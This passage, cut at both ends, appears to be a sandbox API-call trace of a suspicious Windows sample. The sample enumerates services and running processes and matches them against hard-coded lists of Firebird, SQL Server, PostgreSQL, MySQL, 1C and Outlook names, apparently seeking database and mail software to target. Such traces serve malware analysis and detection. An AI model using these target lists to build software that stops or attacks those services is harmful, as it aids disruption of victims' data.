lpString2="CryptSvc") returned 1 [0045.871] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0045.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0045.871] lstrlenW (lpString="CscService") returned 10 [0045.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0045.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0045.871] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0045.871] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0045.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0045.871] lstrlenW (lpString="DcomLaunch") returned 10 [0045.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.871] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0045.871] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0045.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0045.871] lstrlenW (lpString="Dhcp") returned 4 [0045.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0045.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0045.871] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0045.871] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0045.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0045.871] lstrlenW (lpString="Dnscache") returned 8 [0045.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0045.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0045.871] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0045.871] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0045.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0045.871] lstrlenW (lpString="DPS") returned 3 [0045.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0045.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0045.871] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0045.871] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0045.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0045.871] lstrlenW (lpString="eventlog") returned 8 [0045.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0045.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0045.872] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0045.872] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0045.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0045.872] lstrlenW (lpString="EventSystem") returned 11 [0045.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0045.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0045.872] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0045.872] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0045.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0045.872] lstrlenW (lpString="FontCache") returned 9 [0045.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0045.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0045.872] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0045.872] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0045.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0045.872] lstrlenW (lpString="gpsvc") returned 5 [0045.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0045.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0045.872] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0045.872] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0045.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0045.872] lstrlenW (lpString="iphlpsvc") returned 8 [0045.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.872] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0045.872] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0045.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0045.872] lstrlenW (lpString="LanmanServer") returned 12 [0045.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0045.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0045.872] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0045.872] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0045.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0045.872] lstrlenW (lpString="LanmanWorkstation") returned 17 [0045.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.873] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0045.873] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0045.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0045.873] lstrlenW (lpString="lmhosts") returned 7 [0045.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0045.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0045.873] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0045.873] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0045.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0045.873] lstrlenW (lpString="MMCSS") returned 5 [0045.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0045.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0045.873] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0045.873] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0045.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0045.873] lstrlenW (lpString="MpsSvc") returned 6 [0045.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0045.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0045.873] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0045.873] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0045.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0045.873] lstrlenW (lpString="Netman") returned 6 [0045.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0045.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0045.873] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0045.873] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0045.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0045.873] lstrlenW (lpString="netprofm") returned 8 [0045.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0045.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0045.873] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0045.873] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0045.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0045.873] lstrlenW (lpString="NlaSvc") returned 6 [0045.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0045.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0045.874] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0045.874] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0045.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0045.874] lstrlenW (lpString="nsi") returned 3 [0045.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0045.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0045.874] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0045.874] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0045.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0045.874] lstrlenW (lpString="PcaSvc") returned 6 [0045.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0045.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0045.874] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0045.874] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0045.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0045.874] lstrlenW (lpString="PlugPlay") returned 8 [0045.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0045.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0045.874] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0045.874] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0045.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0045.874] lstrlenW (lpString="Power") returned 5 [0045.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0045.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0045.874] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0045.874] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0045.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0045.874] lstrlenW (lpString="ProfSvc") returned 7 [0045.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0045.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0045.874] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0045.874] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0045.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0045.874] lstrlenW (lpString="RpcEptMapper") returned 12 [0045.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.875] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0045.875] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0045.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0045.875] lstrlenW (lpString="RpcSs") returned 5 [0045.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0045.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0045.875] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0045.875] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0045.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0045.875] lstrlenW (lpString="SamSs") returned 5 [0045.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0045.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0045.875] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0045.875] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0045.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0045.875] lstrlenW (lpString="Schedule") returned 8 [0045.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0045.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0045.875] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0045.875] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0045.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0045.875] lstrlenW (lpString="SENS") returned 4 [0045.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0045.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0045.875] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0045.875] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0045.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0045.875] lstrlenW (lpString="ShellHWDetection") returned 16 [0045.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.875] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0045.875] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0045.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0045.876] lstrlenW (lpString="Spooler") returned 7 [0045.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0045.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0045.876] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0045.876] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0045.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0045.876] lstrlenW (lpString="sppsvc") returned 6 [0045.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0045.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0045.876] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0045.876] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0045.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0045.876] lstrlenW (lpString="SysMain") returned 7 [0045.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0045.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0045.876] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0045.876] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0045.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0045.876] lstrlenW (lpString="Themes") returned 6 [0045.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0045.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0045.876] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0045.876] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0045.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0045.876] lstrlenW (lpString="TrkWks") returned 6 [0045.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0045.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0045.876] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0045.876] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0045.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0045.876] lstrlenW (lpString="UxSms") returned 5 [0045.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0045.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0045.876] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0045.876] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0045.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0045.876] lstrlenW (lpString="VSS") returned 3 [0045.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0045.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0045.877] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0045.877] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0045.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0045.877] lstrlenW (lpString="WdiServiceHost") returned 14 [0045.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.877] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0045.877] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0045.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0045.877] lstrlenW (lpString="WdiSystemHost") returned 13 [0045.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.877] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0045.877] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0045.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0045.877] lstrlenW (lpString="WinDefend") returned 9 [0045.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0045.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0045.877] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0045.877] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0045.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0045.877] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0045.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.877] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0045.877] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0045.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0045.877] lstrlenW (lpString="Winmgmt") returned 7 [0045.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0045.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0045.877] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0045.877] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0045.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0045.877] lstrlenW (lpString="wscsvc") returned 6 [0045.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0045.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0045.878] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0045.878] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0045.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0045.878] lstrlenW (lpString="wuauserv") returned 8 [0045.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0045.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0045.878] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0045.878] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0045.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0045.878] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37f2700 | out: hHeap=0x520000) returned 1 [0045.878] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x200 [0045.886] Process32FirstW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0045.886] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0045.887] lstrlenW (lpString="System") returned 6 [0045.887] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0045.887] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0045.887] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0045.887] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0045.887] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0045.887] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0045.887] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0045.887] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0045.887] lstrlenW (lpString="smss.exe") returned 8 [0045.887] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0045.887] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0045.888] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.888] lstrlenW (lpString="csrss.exe") returned 9 [0045.888] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0045.889] lstrlenW (lpString="wininit.exe") returned 11 [0045.889] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.889] lstrlenW (lpString="csrss.exe") returned 9 [0045.889] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0045.890] lstrlenW (lpString="winlogon.exe") returned 12 [0045.890] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0045.890] lstrlenW (lpString="services.exe") returned 12 [0045.890] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0045.891] lstrlenW (lpString="lsass.exe") returned 9 [0045.891] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0045.891] lstrlenW (lpString="lsm.exe") returned 7 [0045.891] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.892] lstrlenW (lpString="svchost.exe") returned 11 [0045.892] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.892] lstrlenW (lpString="svchost.exe") returned 11 [0045.893] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.893] lstrlenW (lpString="svchost.exe") returned 11 [0045.893] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.894] lstrlenW (lpString="svchost.exe") returned 11 [0045.894] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, 